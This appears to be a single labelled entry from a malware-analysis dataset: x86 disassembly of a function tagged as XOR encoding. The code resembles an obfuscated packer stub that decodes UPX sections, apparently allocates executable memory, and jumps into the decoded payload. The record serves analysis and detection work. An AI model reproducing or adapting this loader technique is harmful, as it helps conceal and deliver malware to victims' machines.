Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7f076b1c
inc esi
add eax, 1
popal
add eax, 0xd7cc15c1
mov esi, eax
mov esi, eax
mov ecx, 0
mov ebx, esi
and edi, edx
or edi, edi
sub edx, 0xc74e281c
mov eax, ebx
mov edi, edx
inc edi
mov esi, eax
and edx, edx
inc edx
mov edx, 0x9f339b31
inc ecx
not edi
sub edx, edi
cmp ecx, 0x10062a0
jne 0x47b451
add edx, edx
sub edi, 0xbe95a326
mov edx, 0x876d9eb2
and eax, esi
and eax, esi
mov ebx, 0x47b21e
add edi, 0xf726a7da
sub eax, ecx
mov esi, 0x47b412
sub ecx, eax
sub ecx, eax
sub eax, 0x185f06bd
mov edx, dword [ebx]
sub edi, ecx
or edi, ecx
inc edi
and edx, 0xff
not ecx
mov ecx, edi
xor dword [esi], edx
and ecx, edi
not eax
add esi, 1
dec edi
mov eax, edi
not ecx
inc ebx
add edi, 1
sub ecx, eax
dec eax
cmp esi, entry0
jl 0x47b4aa
sub edi, eax
or ecx, eax
and edi, edi
inc eax
sub eax, 0x967693a0
add eax, 0x90d09e03
mov edx, 0xb338f856
sub edx, ebx
mov esi, 0x47b416
add ebx, 0x53db08e7
sub edi, 0x34f557ae
mov esi, dword [esi]
add edi, ebx
sub ecx, 0x25e2ad81
mov edi, 0xa8066bb6
mov esi, dword [esi]
dec edx
dec edx
push esi
dec edx
inc edi
mov edx, ecx
mov esi, 0x47b412
mov ecx, edi
add edx, 0x70841835
or edx, edi
mov esi, dword [esi]
mov edx, 0x958999a8
dec ebx
mov edx, ebx
mov esi, dword [esi]
mov ecx, 0x5efd64ee
or edi, edx
add edx, ebx
push 0x47b41a
sub ebx, edx
or edx, ebx
call esi
inc edi
sub edx, 1
pop esi
mov edi, ebx
sub ebx, edx
push 0x47b427
add edi, ecx
dec edi
sub ebx, 0xca011be6
sub esp, 4
mov dword [esp], eax
and edi, edx
sub ebx, 1
sub ecx, edx
call esi
sub edi, 0x26f2ab45
sub edx, 0xd1aead9e
sub esp, 4
mov dword [esp], 0x40
sub edx, 0x34189696
dec ebx
sub edi, ecx
push 0x3000
add ebx, 0x8d9d513c
mov edi, 0x3283c4f
add edi, 0xc46d50e3
push 0x20000a2a
and ebx, edi
add ecx, 0xbb941f74
add ebx, edi
sub esp, 4
mov dword [esp], 0
mov edi, ebx
and ecx, edi
call eax
and ebx, ecx
sub edi, edx
add eax, 0x200009bc
sub edx, 0x9b07197b
sub ebx, 1
mov esi, 0xa537d02b
add ebx, ebx
dec edi
mov edx, 0x94e3128
mov dword [eax], esi
mov edi, edx
sub ecx, edx
mov esi, dword [eax]
and ebx, edi
dec edi
cmp esi, 0xa537d02b
je 0x47b611
mov ebx, 0
mov eax, dword [ebx]
add ebx, 0x66e04717
add ecx, ebx
sub edi, 0x5c73232b
and edx, edi
sub ebx, 1
mov edi, edx
mov eax, esi
dec esi
mov ebx, section.UPX1
sub eax, 0x8dc822bc
and eax, eax
mov edi, 0x47b21d
not esi
not esi
mov eax, 0x5b3ca55e
mov ecx, 0
and esi, eax
or eax, esi
mov edx, 0x47b21e
add eax, esi
add eax, 0xa189e16d
and eax, esi
lea edx, [ecx + edx]
dec eax
sub esi, eax
dec esi
mov edx, dword [edx]
dec eax
sub eax, esi
and edx, 0xff
sub eax, esi
sub eax, 0x91127968
and esi, eax
add ecx, 1
dec eax
sub eax, 0x6d12d5fc
cmp ecx, 0x1f4
jne 0x47b695
mov ecx, 0
inc eax
mov esi, 0x2b27e8f2
or eax, esi
not esi
inc eax
xor dword [ebx], edx
or eax, esi
inc esi
add ebx, 2
dec eax
add esi, 0x695467ec
cmp ebx, edi
jl 0x47b650
not esi
mov esi, 0x78a0e7a5
mov eax, 0x3e700358
add eax, 0x389f9e23
sub esi, eax
mov edi, section.UPX1
add edx, 1
add esi, 0xbe2a4dcf
mov ecx, section.UPX1
add esi, esi
sub esi, 0xef4e5038
mov eax, 0x47b21d
dec edx
add esi, 0xd34f37e6
mov ebx, 0
add esi, 0x7aaef86c
mov edx, esi
add edx, edx
mov bl, byte [ecx]
sub esi, edx
add edx, 0xb85e30b6
not esi
mov byte [edi], bl
mov edx, 0xb31a04a9
add esi, 1
inc edi
add edx, 1
and esi, edx
add ecx, 2
inc esi
dec edx
cmp ecx, eax
jle 0x47b707
add esi, 0x4ddc73e3
not edx
and esi, eax
mov eax, 0x93dd60ff
push 0x45e6a0
add eax, eax
sub eax, 0xc2c96852
ret